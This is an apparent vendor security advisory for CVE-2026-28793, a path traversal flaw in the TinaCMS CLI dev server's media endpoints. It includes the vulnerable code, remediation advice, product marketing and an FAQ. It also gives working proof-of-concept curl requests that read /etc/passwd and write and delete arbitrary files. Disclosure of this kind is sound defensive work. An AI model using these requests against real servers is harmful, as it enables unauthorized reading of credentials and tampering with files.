Summary
TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete
The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.
Details
When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:
/media/list/*
/media/upload/*
/media/*
These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.
Vulnerable code
bb.on('file', async (_name, file, _info) => {
const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
await fs.ensureDir(path.dirname(saveTo));
file.pipe(fs.createWriteStream(saveTo));
});
PoC
Arbitrary File Read
curl "http://localhost:4001/media/list/../../../etc/passwd"
Result:
Arbitrary File Write
echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt
curl --path-as-is -X POST \
"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
-F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt
Result:
Arbitrary File Delete
echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"
Attack Surface
The dev server binds to localhost by default, but exploitation is realistic in:
Cloud IDEs (Codespaces, Gitpod)
Docker or VM setups with port forwarding
Misconfigured dev environments binding to 0.0.0.0
Local malware or malicious dependencies
The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.
Impact
An attacker who can reach the TinaCMS CLI dev server can:
Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)
Write arbitrary files anywhere writable by the server process
Delete or overwrite files, depending on endpoint usage
Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-28793 has a CVSS score of 8.4 (High). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Resolve paths to absolute form
Enforce that resolved paths remain within the media root
Reject .. path segments and absolute paths
Consider authentication or token protection for dev server endpoints
Frequently Asked Questions
- What is CVE-2026-28793? CVE-2026-28793 is a high-severity path traversal vulnerability in @tinacms/cli (npm), affecting versions < 2.1.8. It is fixed in 2.1.8. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-28793? CVE-2026-28793 has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @tinacms/cli are affected by CVE-2026-28793? @tinacms/cli (npm) versions < 2.1.8 is affected.
- Is there a fix for CVE-2026-28793? Yes. CVE-2026-28793 is fixed in 2.1.8. Upgrade to this version or later.
- Is CVE-2026-28793 exploitable, and should I be worried? Whether CVE-2026-28793 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-28793 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-28793? Upgrade
@tinacms/clito 2.1.8 or later.